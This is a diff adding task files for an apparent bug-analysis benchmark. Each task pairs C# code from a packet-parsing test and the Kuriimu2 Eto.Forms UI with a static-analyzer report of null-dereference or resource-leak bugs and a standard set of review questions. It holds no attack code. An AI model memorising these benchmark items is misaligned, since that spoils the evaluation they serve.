+namespace Test.PacketType
+{
+    namespace Ieee80211
+    {
+        [TestFixture]
+        public class RadioPacketTest
+        {
+            /// <summary>
+            /// Test that parsing an ip packet yields the proper field values
+            /// </summary>
+            [Test]
+            public void ReadingPacketsFromFile()
+            {
+                var dev = new CaptureFileReaderDevice("../../CaptureFiles/80211_plus_radiotap_header.pcap");
+                dev.Open();
+                var rawCapture = dev.GetNextPacket();
+                dev.Close();
+
+                Packet p = Packet.ParsePacket(rawCapture.LinkLayerType, rawCapture.Data);
+
+                Assert.IsNotNull(p);
+
+                Console.WriteLine(p.ToString());
+            }
+			
+			[Test]
+			public void ReadPacketWithNoFcs()
+			{
+				var dev = new CaptureFileReaderDevice ("../../CaptureFiles/80211_radio_without_fcs.pcap");
+                dev.Open ();
+                var rawCapture = dev.GetNextPacket ();
+                dev.Close ();
+                
+                RadioPacket p = Packet.ParsePacket (rawCapture.LinkLayerType, rawCapture.Data) as RadioPacket;
+                Assert.IsNotNull (p.PayloadPacket);
+				MacFrame macFrame = p.PayloadPacket as MacFrame;
+				Assert.IsFalse(macFrame.FCSValid);
+			}
+
+        } 
+    }
+}
+
+```
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+pointer `flagsField` last assigned on line 111 could be null and is dereferenced at line 113, column 13.
+
+### Severity:
+ERROR
+
+### Procedure:
+Void RadioPacketTest.ReadPacketWithNoFcs()
+
+### File:
+Test/PacketType/Ieee80211/RadioPacketTest.cs
+
+### Key:
+RadioPacketTest.cs|ReadPacketWithNoFcs|NULL_DEREFERENCE
+
+### Node Key:
+c097e2026c02ef7eb67b5d05c68daf36
+
+### Hash:
+8cf1796cb3185a3473052919c44a42a3
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-2650/instruction.md b/inferredbugs-2650/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..4cd73965a5ac55f77ef3b8149693bd154bbb3f05
--- /dev/null
+++ b/inferredbugs-2650/instruction.md
@@ -0,0 +1,154 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** Kuriimu2
+**Bug ID:** 9
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using Eto.Drawing;
+using Eto.Forms;
+using Kontract.Interfaces.Plugins.Identifier;
+
+namespace Kuriimu2.EtoForms.Forms.Dialogs
+{
+    partial class ChoosePluginDialog : Dialog<IFilePlugin>
+    {
+        private StackLayout pluginListPanel;
+        private Button okButton;
+        private Button cancelButton;
+        private CheckBox showAllCheckbox;
+
+        #region Commands
+
+        private Command okButtonCommand;
+        private Command cancelButtonCommand;
+
+        #endregion
+
+        private void InitializeComponent()
+        {
+            #region Commands
+
+            okButtonCommand = new Command();
+            cancelButtonCommand = new Command();
+
+            #endregion
+
+            Title = "Choose plugin";
+            Size = new Size(450, 700);
+            Padding = new Padding(3);
+
+            #region Content
+
+            pluginListPanel = new StackLayout
+            {
+                HorizontalContentAlignment = HorizontalAlignment.Stretch,
+                VerticalContentAlignment = VerticalAlignment.Stretch
+            };
+            cancelButton = new Button { Text = "Cancel", Command = cancelButtonCommand };
+            okButton = new Button { Text = "Ok", Command = okButtonCommand };
+            
+            showAllCheckbox = new CheckBox()
+            {
+                Text = "Show all plugins",
+                ToolTip = _filterNote,
+                Checked = _filteredPlugins == null,
+                Enabled = _filteredPlugins != null
+            };
+
+            Content = new TableLayout
+            {
+                Rows =
+                {
+                    new TableRow
+                    {
+                        Cells =
+                        {
+                            new Label
+                            {
+                                Text = _message,
+                                TextAlignment = TextAlignment.Center,
+                            }
+                        } 
+                    },
+                    
+                    new TableRow { ScaleHeight = true, Cells = { new Scrollable { Content = pluginListPanel } } },
+                    
+                    new TableRow { Cells = { showAllCheckbox } },
+                    
+                    new TableLayout
+                    {
+                        Padding=new Padding(0, 3),
+                        Spacing = new Size(3, 3),
+                        Rows =
+                        {
+                            new TableRow
+                            {
+                                Cells =
+                                {
+                                    new TableCell { ScaleWidth = true },
+                                    cancelButton,
+                                    okButton
+                                }
+                            }
+                        }
+                    }
+                }
+            };
+
+            #endregion
+        }
+    }
+}
+
+```
+
+### Bug Type:
+DOTNET_RESOURCE_LEAK
+
+### Qualifier:
+Leaked resource this.Kuriimu2.EtoForms.Forms.Dialogs.ChoosePluginDialog.showAllCheckbox of type Eto.Forms.CheckBox, Leaked resource this.Kuriimu2.EtoForms.Forms.Dialogs.ChoosePluginDialog.pluginListPanel of type Eto.Forms.StackLayout, Leaked resource this.Kuriimu2.EtoForms.Forms.Dialogs.ChoosePluginDialog.okButton of type Eto.Forms.Button, Leaked resource this.Kuriimu2.EtoForms.Forms.Dialogs.ChoosePluginDialog.cancelButton of type Eto.Forms.Button, Leaked resource (output of Eto.Forms.TableLayout::.ctor() at Line 52) of type Eto.Forms.TableLayout, Leaked resource (output of Eto.Forms.Scrollable::.ctor() at Line 52) of type Eto.Forms.Scrollable, Leaked resource (output of Eto.Forms.Label::.ctor() at Line 52) of type Eto.Forms.Label, Leaked resource (output of Eto.Forms.TableLayout::.ctor() at Line 52) of type Eto.Forms.TableLayout in method "Void ChoosePluginDialog.InitializeComponent()".
+
+### Severity:
+ERROR
+
+### Procedure:
+Void ChoosePluginDialog.InitializeComponent()
+
+### File:
+src/Kuriimu2.EtoForms/Kuriimu2.EtoForms/Forms/Dialogs/ChoosePluginDialog.eto.cs
+
+### Key:
+ChoosePluginDialog.eto.cs|InitializeComponent|DOTNET_RESOURCE_LEAK
+
+### Hash:
+8501da7ac7ce64341bcac938ec1b6a83
+
+### Bug Type Hum:
+Dotnet Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-2651/instruction.md b/inferredbugs-2651/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..ef711e99c2d9627bea83d9cf58c30eefdc6d7ef4
--- /dev/null
+++ b/inferredbugs-2651/instruction.md
@@ -0,0 +1,359 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** Kuriimu2
+**Bug ID:** 11
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using System.Collections.ObjectModel;
+using Eto.Drawing;
+using Eto.Forms;
+using Kuriimu2.EtoForms.Controls;
+using Kuriimu2.EtoForms.Forms.Models;
+using Kuriimu2.EtoForms.Support;
+
+namespace Kuriimu2.EtoForms.Forms.Formats
+{
+    partial class ArchiveForm : Panel
+    {
+        private TextBox searchTextBox;
+        private Button searchClearButton;
+
+        private Button cancelButton;
+
+        private TreeGridView folderView;
+        private TreeGridItemCollection folders;
+
+        private GridView<FileElement> fileView;
+        private ObservableCollection<FileElement> files;
+
+        private ButtonToolStripItem saveButton;
+        private ButtonToolStripItem saveAsButton;
+
+        private ButtonToolStripItem extractButton;
+        private ButtonToolStripItem replaceButton;
+        private ButtonToolStripItem renameButton;
+        private ButtonToolStripItem deleteButton;
+
+        private ButtonMenuItem openWithMenuItem;
+
+        #region Commands
+
+        private Command searchClearCommand;
+
+        private Command cancelCommand;
+
+        private Command openCommand;
+        private Command openWithCommand;
+
+        private Command saveCommand;
+        private Command saveAsCommand;
+
+        private Command extractDirectoryCommand;
+        private Command replaceDirectoryCommand;
+        private Command renameDirectoryCommand;
+        private Command deleteDirectoryCommand;
+        private Command addDirectoryCommand;
+
+        private Command extractFileCommand;
+        private Command replaceFileCommand;
+        private Command renameFileCommand;
+        private Command deleteFileCommand;
+
+        #endregion
+
+        private void InitializeComponent()
+        {
+            #region Initialization
+
+            searchTextBox = new TextBox
+            {
+                Size=new Size(268,-1)
+            };
+
+            #region Commands
+
+            searchClearCommand = new Command { MenuText = "Clear", Image = ImageResources.Actions.Delete };
+
+            cancelCommand = new Command { MenuText = "Cancel" };
+
+            openCommand = new Command { MenuText = "Open", Image = ImageResources.Actions.Open };
+            openWithCommand = new Command { MenuText = "Open with", Image = ImageResources.Actions.OpenWith };
+
+            saveCommand = new Command { MenuText = "Save", Shortcut = SaveHotKey, Image = ImageResources.Actions.Save };
+            saveAsCommand = new Command { MenuText = "Save As", Shortcut = SaveAsHotKey, Image = ImageResources.Actions.SaveAs };
+
+            extractDirectoryCommand = new Command { MenuText = "Extract", Image = ImageResources.Actions.FolderExport };
+            replaceDirectoryCommand = new Command { MenuText = "Replace", Image = ImageResources.Actions.FolderImport };
+            renameDirectoryCommand = new Command { MenuText = "Rename", Image = ImageResources.Actions.Rename };
+            deleteDirectoryCommand = new Command { MenuText = "Delete", Image = ImageResources.Actions.Delete };
+            addDirectoryCommand = new Command { MenuText = "Add", Image = ImageResources.Actions.Add };
+
+            extractFileCommand = new Command { MenuText = "Extract", Image = ImageResources.Actions.FileExport };
+            replaceFileCommand = new Command { MenuText = "Replace", Image = ImageResources.Actions.FileImport };
+            renameFileCommand = new Command { MenuText = "Rename", Image = ImageResources.Actions.Rename };
+            deleteFileCommand = new Command { MenuText = "Delete", Image = ImageResources.Actions.Delete };
+
+            #endregion
+
+            #region Folders
+
+            var folderContext = new ContextMenu
+            {
+                Items =
+                {
+                    extractDirectoryCommand,
+                    replaceDirectoryCommand,
+                    renameDirectoryCommand,
+                    addDirectoryCommand,
+                    deleteDirectoryCommand
+                }
+            };
+
+            folders = new TreeGridItemCollection();
+            folderView = new TreeGridView
+            {
+                ContextMenu=folderContext,
+
+                DataStore = folders,
+                Columns =
+                {
+                    new GridColumn
+                    {
+                        DataCell = new ImageTextCell(0, 1)
+                    }
+                },
+                AllowColumnReordering = false
+            };
+
+            #endregion
+
+            #region Files
+
+            //NOTE Image has to be set explicitly, I think the Command is not used anymore as soon as sub-items are added
+            openWithMenuItem = new ButtonMenuItem { Text = "Open with", Command = openWithCommand, Image = openWithCommand.Image };
+            var fileContext = new ContextMenu
+            {
+                Items =
+                {
+                    openCommand,
+                    openWithMenuItem,
+
+                    new SeparatorMenuItem(),
+
+                    extractFileCommand,
+                    replaceFileCommand,
+                    renameFileCommand,
+                    deleteFileCommand
+                }
+            };
+
+            files = new ObservableCollection<FileElement>();
+            fileView = new GridView<FileElement>
+            {
+                ShowHeader = true,
+                AllowMultipleSelection=true,
+                BackgroundColor = KnownColors.White,
+
+                ContextMenu=fileContext,
+
+                Columns =
+                {
+                    new GridColumn
+                    {
+                        DataCell = new TextBoxCell(nameof(FileElement.Name)),
+                        HeaderText = "Name",
+                        Sortable = true,
+                        AutoSize = true
+                    },
+                    new GridColumn
+                    {
+                        DataCell = new TextBoxCell(nameof(FileElement.Size)),
+                        HeaderText = "Size",
+                        Sortable = true,
+                        AutoSize = true
+                    }
+                },
+
+                DataStore = files
+            };
+
+            #endregion
+
+            #region Buttons
+
+            searchClearButton = new Button
+            {
+                Image = ImageResources.Actions.Clear,
+                Command = searchClearCommand,
+                Size = new Size(22,-1)
+            };
+
+            cancelButton = new Button
+            {
+                Text = "Cancel",
+                Command = cancelCommand
+            };
+
+            saveButton = new ButtonToolStripItem
+            {
+                Command = saveCommand,
+            };
+
+            saveAsButton = new ButtonToolStripItem
+            {
+                Command = saveAsCommand,
+            };
+
+            extractButton = new ButtonToolStripItem
+            {
+                Command = extractFileCommand,
+            };
+
+            replaceButton = new ButtonToolStripItem
+            {
+                Command = replaceFileCommand,
+            };
+
+            renameButton = new ButtonToolStripItem
+            {
+                Command = renameFileCommand,
+            };
+
+            deleteButton = new ButtonToolStripItem
+            {
+                Command = deleteFileCommand,
+            };
+
+            #endregion
+
+            #endregion
+
+            #region Content
+
+            var archiveToolStrip = new ToolStrip
+            {
+                BackgroundColor = KnownColors.White,
+                Items =
+                {
+                    saveButton,
+                    saveAsButton
+                }
+            };
+
+            var mainContent = new TableLayout
+            {
+                Spacing=new Size(3,3),
+                Rows =
+                {
+                    // Searchbar and file toolstrip
+                    new TableRow
+                    {
+                        Cells =
+                        {
+                            // Searchbar
+                            new StackLayout
+                            {
+                                Spacing=3,
+                                Orientation = Orientation.Horizontal,
+                                Items =
+                                {
+                                    searchTextBox,
+                                    searchClearButton
+                                }
+                            },
+
+                            // file toolstrip
+                            new ToolStrip
+                            {
+                                Size = new SizeF(-1, ToolStripItem.Height + 6),
+                                BackgroundColor = KnownColors.White,
+                                Items =
+                                {
+                                    extractButton,
+                                    replaceButton,
+                                    renameButton,
+                                    deleteButton
+                                }
+                            },
+                        }
+                    },
+
+                    // Folder and file view
+                    new TableRow
+                    {
+                        Cells =
+                        {
+                            folderView,
+                            fileView
+                        }
+                    }
+                }
+            };
+
+            Content = new TableLayout
+            {
+                Spacing = new Size(3, 3),
+                Rows =
+                {
+                    new TableRow(new Panel { Content = archiveToolStrip, Size = new Size(-1, (int)ToolStripItem.Height + 6) }),
+                    new TableRow { Cells = { new TableCell(mainContent) { ScaleWidth = true } }, ScaleHeight = true }
+                }
+            };
+
+            #endregion
+        }
+    }
+}
+
+```
+
+### Bug Type:
+DOTNET_RESOURCE_LEAK
+
+### Qualifier:
+Leaked resource mainContent of type Eto.Forms.TableLayout, Leaked resource this.Kuriimu2.EtoForms.Forms.Formats.ArchiveForm.searchTextBox of type Eto.Forms.TextBox, Leaked resource this.Kuriimu2.EtoForms.Forms.Formats.ArchiveForm.searchClearButton of type Eto.Forms.Button, Leaked resource this.Kuriimu2.EtoForms.Forms.Formats.ArchiveForm.openWithMenuItem of type Eto.Forms.ButtonMenuItem, Leaked resource this.Kuriimu2.EtoForms.Forms.Formats.ArchiveForm.folderView of type Eto.Forms.TreeGridView, Leaked resource this.Kuriimu2.EtoForms.Forms.Formats.ArchiveForm.cancelButton of type Eto.Forms.Button, Leaked resource %4 of type Eto.Forms.TableLayout, Leaked resource fileContext of type Eto.Forms.ContextMenu, Leaked resource folderContext of type Eto.Forms.ContextMenu, Leaked resource (output of Eto.Forms.Panel::.ctor() at Line 287) of type Eto.Forms.Panel, Leaked resource (output of Eto.Forms.StackLayout::.ctor() at Line 237) of type Eto.Forms.StackLayout, Leaked resource (output of Eto.Forms.TextBoxCell::.ctor() at Line 145) of type Eto.Forms.TextBoxCell, Leaked resource (output of Eto.Forms.GridColumn::.ctor() at Line 145) of type Eto.Forms.GridColumn, Leaked resource (output of Eto.Forms.TextBoxCell::.ctor() at Line 145) of type Eto.Forms.TextBoxCell, Leaked resource (output of Eto.Forms.GridColumn::.ctor() at Line 145) of type Eto.Forms.GridColumn, Leaked resource (output of Eto.Forms.SeparatorMenuItem::.ctor() at Line 128) of type Eto.Forms.SeparatorMenuItem, Leaked resource (output of Eto.Forms.ImageTextCell::.ctor() at Line 107) of type Eto.Forms.ImageTextCell, Leaked resource (output of Eto.Forms.GridColumn::.ctor() at Line 107) of type Eto.Forms.GridColumn in method "Void ArchiveForm.InitializeComponent()".
+
+### Severity:
+ERROR
+
+### Procedure:
+Void ArchiveForm.InitializeComponent()
+
+### File:
+src/Kuriimu2.EtoForms/Kuriimu2.EtoForms/Forms/Formats/ArchiveForm.eto.cs
+
+### Key:
+ArchiveForm.eto.cs|InitializeComponent|DOTNET_RESOURCE_LEAK
+
+### Hash:
+29a1c645c46c994ce50cc7e91e67c37e
+
+### Bug Type Hum:
+Dotnet Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-2656/instruction.md b/inferredbugs-2656/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..38a42499b7a85a601e3b6b5762b2e586a76ac582
--- /dev/null
+++ b/inferredbugs-2656/instruction.md
@@ -0,0 +1,199 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** Kuriimu2
+**Bug ID:** 6
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using Eto.Drawing;
+using Eto.Forms;
+using Kuriimu2.EtoForms.Controls.ImageView;
+using Kuriimu2.EtoForms.Support;
+
+namespace Kuriimu2.EtoForms.Forms.Dialogs
+{
+    partial class RawImageDialog:Dialog
+    {
+        private ImageViewEx imageView;
+        private Label widthLabel;
+        private Label heightLabel;
+
+        private TextBox widthText;
+        private TextBox heightText;
+        private TextBox offsetText;
+        private ComboBox encodings;
+        private ComboBox swizzles;
+
+        private GroupBox encodingParameters;
+        private GroupBox swizzleParameters;
+
+        private Label statusLabel;
+
+        #region Commands
+
+        private Command openFileCommand;
+        private Command closeFileCommand;
+        private Command processCommand;
+
+        #endregion
+
+        private void InitializeComponent()
+        {
+            #region Controls
+
+            imageView = new ImageViewEx();
+            widthLabel = new Label { Text = "Width: 0" };
+            heightLabel = new Label { Text = "Height: 0" };
+
+            widthText = new TextBox { Text = "1" };
+            heightText = new TextBox { Text = "1" };
+            offsetText = new TextBox { Text = "0" };
+            encodings = new ComboBox();
+            swizzles = new ComboBox();
+
+            encodingParameters = new GroupBox { Text = "Encoding Parameters" };
+            swizzleParameters = new GroupBox { Text = "Swizzle Parameters" };
+
+            statusLabel = new Label { TextColor = KnownColors.DarkRed };
+
+            #endregion
+
+            #region Commands
+
+            openFileCommand = new Command { MenuText = "Open" };
+            closeFileCommand = new Command { MenuText = "Close", Enabled = false };
+            processCommand = new Command { Enabled = false };
+
+            #endregion
+
+            Title = "Raw Image Viewer";
+            Size = new Size(500, 600);
+            Padding = new Padding(4);
+
+            Menu = new MenuBar
+            {
+                Items =
+                {
+                    new ButtonMenuItem { Text = "File", Items = { openFileCommand, closeFileCommand } },
+                }
+            };
+
+            #region Content
+
+            var baseParameterLayout = new StackLayout
+            {
+                Orientation = Orientation.Vertical,
+                HorizontalContentAlignment=HorizontalAlignment.Stretch,
+
+                Spacing=3,
+
+                Items =
+                {
+                    new TableLayout
+                    {
+                        Spacing=new Size(3,3),
+                        Rows =
+                        {
+                            new TableRow { Cells = { new Label { Text="Width:"}, widthText } },
+                            new TableRow { Cells = { new Label { Text="Height:"}, heightText } },
+                            new TableRow { Cells = { new Label { Text="Offset:"}, offsetText } },
+                            new TableRow { Cells = { new Label { Text="Encodings:"}, encodings } },
+                            new TableRow { Cells = { new Label { Text="Swizzles:"}, swizzles } },
+                        }
+                    },
+                    new Button { Text = "Process", Command = processCommand }
+                }
+            };
+
+            var encodingParameterLayout = new StackLayout
+            {
+                Orientation=Orientation.Vertical,
+
+                Items =
+                {
+                    encodingParameters,
+                    swizzleParameters
+                }
+            };
+
+            Content = new TableLayout
+            {
+                Spacing = new Size(3, 3),
+
+                Rows =
+                {
+                    new TableRow { ScaleHeight = true, Cells = { imageView } },
+                    new TableLayout
+                    {
+                        Rows =
+                        {
+                            new TableRow
+                            {
+                                Cells =
+                                {
+                                    baseParameterLayout,
+                                    encodingParameterLayout
+                                }
+                            }
+                        }
+                    },
+                    statusLabel
+                }
+            };
+
+            #endregion
+        }
+    }
+}
+
+```
+
+### Bug Type:
+DOTNET_RESOURCE_LEAK
+
+### Qualifier:
+Leaked resource this.Kuriimu2.EtoForms.Forms.Dialogs.RawImageDialog.widthText of type Eto.Forms.TextBox, Leaked resource this.Kuriimu2.EtoForms.Forms.Dialogs.RawImageDialog.widthLabel of type Eto.Forms.Label, Leaked resource this.Kuriimu2.EtoForms.Forms.Dialogs.RawImageDialog.swizzles of type Eto.Forms.ComboBox, Leaked resource this.Kuriimu2.EtoForms.Forms.Dialogs.RawImageDialog.swizzleParameters of type Eto.Forms.GroupBox, Leaked resource this.Kuriimu2.EtoForms.Forms.Dialogs.RawImageDialog.statusLabel of type Eto.Forms.Label, Leaked resource this.Kuriimu2.EtoForms.Forms.Dialogs.RawImageDialog.offsetText of type Eto.Forms.TextBox, Leaked resource this.Kuriimu2.EtoForms.Forms.Dialogs.RawImageDialog.imageView.Kuriimu2.EtoForms.Controls.ImageView.ImageViewEx.<Content>k__BackingField of type Eto.Forms.Drawable, Leaked resource this.Kuriimu2.EtoForms.Forms.Dialogs.RawImageDialog.heightText of type Eto.Forms.TextBox, Leaked resource this.Kuriimu2.EtoForms.Forms.Dialogs.RawImageDialog.heightLabel of type Eto.Forms.Label, Leaked resource this.Kuriimu2.EtoForms.Forms.Dialogs.RawImageDialog.encodings of type Eto.Forms.ComboBox, Leaked resource this.Kuriimu2.EtoForms.Forms.Dialogs.RawImageDialog.encodingParameters of type Eto.Forms.GroupBox, Leaked resource baseParameterLayout of type Eto.Forms.StackLayout, Leaked resource encodingParameterLayout of type Eto.Forms.StackLayout, Leaked resource (output of Eto.Forms.TableLayout::.ctor() at Line 112) of type Eto.Forms.TableLayout, Leaked resource (output of Eto.Forms.TableLayout::.ctor() at Line 112) of type Eto.Forms.TableLayout, Leaked resource (output of Eto.Forms.Button::.ctor() at Line 76) of type Eto.Forms.Button, Leaked resource (output of Eto.Forms.Label::.ctor() at Line 76) of type Eto.Forms.Label, Leaked resource (output of Eto.Forms.Label::.ctor() at Line 76) of type Eto.Forms.Label, Leaked resource (output of Eto.Forms.Label::.ctor() at Line 76) of type Eto.Forms.Label, Leaked resource (output of Eto.Forms.Label::.ctor() at Line 76) of type Eto.Forms.Label, Leaked resource (output of Eto.Forms.Label::.ctor() at Line 76) of type Eto.Forms.Label, Leaked resource (output of Eto.Forms.TableLayout::.ctor() at Line 76) of type Eto.Forms.TableLayout, Leaked resource (output of Eto.Forms.ButtonMenuItem::.ctor() at Line 66) of type Eto.Forms.ButtonMenuItem, Leaked resource (output of Eto.Forms.MenuBar::.ctor() at Line 66) of type Eto.Forms.MenuBar in method "Void RawImageDialog.InitializeComponent()".
+
+### Severity:
+ERROR
+
+### Procedure:
+Void RawImageDialog.InitializeComponent()
+
+### File:
+src/Kuriimu2.EtoForms/Kuriimu2.EtoForms/Forms/Dialogs/RawImageDialog.eto.cs
+
+### Key:
+RawImageDialog.eto.cs|InitializeComponent|DOTNET_RESOURCE_LEAK
+
+### Hash:
+b8beabdcf708070c55d91148d6db1a2f
+
+### Bug Type Hum:
+Dotnet Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-2657/instruction.md b/inferredbugs-2657/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..0b9b5a2d94c8bccc9f4e1721c3e2d1e9ac794a9a
--- /dev/null
+++ b/inferredbugs-2657/instruction.md
@@ -0,0 +1,188 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** Kuriimu2
+**Bug ID:** 28
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using Eto.Drawing;
+using Eto.Forms;
+using Kuriimu2.EtoForms.Support;
+
+namespace Kuriimu2.EtoForms.Forms.Dialogs.Batch
+{
+    abstract partial class BaseBatchDialog:Dialog
+    {
+        private ComboBox plugins;
+        private TextBox selectedInputPath;
+        private CheckBox subDirectoryBox;
+        private TextBox selectedOutputPath;
+        private Label timerLabel;
+        private RichTextArea log;
+
+        #region Commands
+
+        private Command selectInputCommand;
+        private Command selectOutputCommand;
+        private Command executeCommand;
+
+        #endregion
+
+        private void InitializeComponent()
+        {
+            #region Controls
+
+            plugins = new ComboBox();
+            selectedInputPath = new TextBox { ReadOnly = true };
+            subDirectoryBox = new CheckBox { Text = "Sub Directories" };
+            selectedOutputPath = new TextBox { ReadOnly = true };
+            timerLabel = new Label { Text = "Avg time per file:" };
+            log = new RichTextArea { ReadOnly = true, BackgroundColor = KnownColors.Black, TextColor = KnownColors.NeonGreen };
+
+            #endregion
+
+            #region Commands
+
+            selectInputCommand = new Command();
+            selectOutputCommand = new Command();
+            executeCommand = new Command();
+
+            #endregion
+
+            Title = "BatchDialog";
+            Padding = new Padding(6);
+            Size = new Size(700, 300);
+
+            #region Content
+
+            var pluginLabel = new Label { Text = "Plugins" };
+            var selectInputButton = new Button { Text = "Select Input...", Command = selectInputCommand, Size = new Size(130, -1) };
+            var selectOutputButton = new Button { Text = "Select Output...", Command = selectOutputCommand, Size = new Size(130, -1) };
+            var executeButton = new Button { Text = "Execute", Command = executeCommand, Size = new Size(130, -1) };
+
+            var inputLayout = new StackLayout
+            {
+                Orientation = Orientation.Vertical,
+                HorizontalContentAlignment = HorizontalAlignment.Stretch,
+
+                Spacing = 6,
+
+                Items =
+                {
+                    pluginLabel,
+                    plugins,
+                    selectedInputPath,
+                    new StackLayout
+                    {
+                        Orientation = Orientation.Horizontal,
+                        VerticalContentAlignment = VerticalAlignment.Stretch,
+
+                        Spacing = 6,
+
+                        Items =
+                        {
+                            selectInputButton,
+                            subDirectoryBox
+                        }
+                    },
+                    selectedOutputPath,
+                    selectOutputButton
+                }
+            };
+
+            Content = new TableLayout
+            {
+                AllowDrop=true,
+                Spacing = new Size(6, 6),
+
+                Rows =
+                {
+                    new TableRow
+                    {
+                        Cells =
+                        {
+                            new TableLayout
+                            {
+                                Rows =
+                                {
+                                    inputLayout,
+                                    new TableLayout
+                                    {
+                                        Rows =
+                                        {
+                                            new TableRow { ScaleHeight = true },
+                                            executeButton
+                                        }
+                                    }
+                                }
+                            },
+                            new TableLayout
+                            {
+                                Spacing = new Size(6, 6),
+                                Rows =
+                                {
+                                    timerLabel,
+                                    log
+                                }
+                            }
+                        }
+                    }
+                }
+            };
+
+            #endregion
+        }
+    }
+}
+
+```
+
+### Bug Type:
+DOTNET_RESOURCE_LEAK
+
+### Qualifier:
+Leaked resource this.Kuriimu2.EtoForms.Forms.Dialogs.Batch.BaseBatchDialog.timerLabel of type Eto.Forms.Label, Leaked resource this.Kuriimu2.EtoForms.Forms.Dialogs.Batch.BaseBatchDialog.subDirectoryBox of type Eto.Forms.CheckBox, Leaked resource this.Kuriimu2.EtoForms.Forms.Dialogs.Batch.BaseBatchDialog.selectedOutputPath of type Eto.Forms.TextBox, Leaked resource this.Kuriimu2.EtoForms.Forms.Dialogs.Batch.BaseBatchDialog.selectedInputPath of type Eto.Forms.TextBox, Leaked resource this.Kuriimu2.EtoForms.Forms.Dialogs.Batch.BaseBatchDialog.plugins of type Eto.Forms.ComboBox, Leaked resource this.Kuriimu2.EtoForms.Forms.Dialogs.Batch.BaseBatchDialog.log of type Eto.Forms.RichTextArea, Leaked resource selectInputButton of type Eto.Forms.Button, Leaked resource inputLayout of type Eto.Forms.StackLayout, Leaked resource executeButton of type Eto.Forms.Button, Leaked resource pluginLabel of type Eto.Forms.Label, Leaked resource selectOutputButton of type Eto.Forms.Button, Leaked resource (output of Eto.Forms.TableLayout::.ctor() at Line 86) of type Eto.Forms.TableLayout, Leaked resource (output of Eto.Forms.TableLayout::.ctor() at Line 86) of type Eto.Forms.TableLayout, Leaked resource (output of Eto.Forms.TableLayout::.ctor() at Line 86) of type Eto.Forms.TableLayout, Leaked resource (output of Eto.Forms.TableLayout::.ctor() at Line 86) of type Eto.Forms.TableLayout, Leaked resource (output of Eto.Forms.StackLayout::.ctor() at Line 56) of type Eto.Forms.StackLayout in method "Void BaseBatchDialog.InitializeComponent()".
+
+### Severity:
+ERROR
+
+### Procedure:
+Void BaseBatchDialog.InitializeComponent()
+
+### File:
+src/Kuriimu2.EtoForms/Kuriimu2.EtoForms/Forms/Dialogs/Batch/BaseBatchDialog.eto.cs
+
+### Key:
+BaseBatchDialog.eto.cs|InitializeComponent|DOTNET_RESOURCE_LEAK
+
+### Hash:
+b85ba4a506d0c5eba97a40d8da12bd7a
+
+### Bug Type Hum:
+Dotnet Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
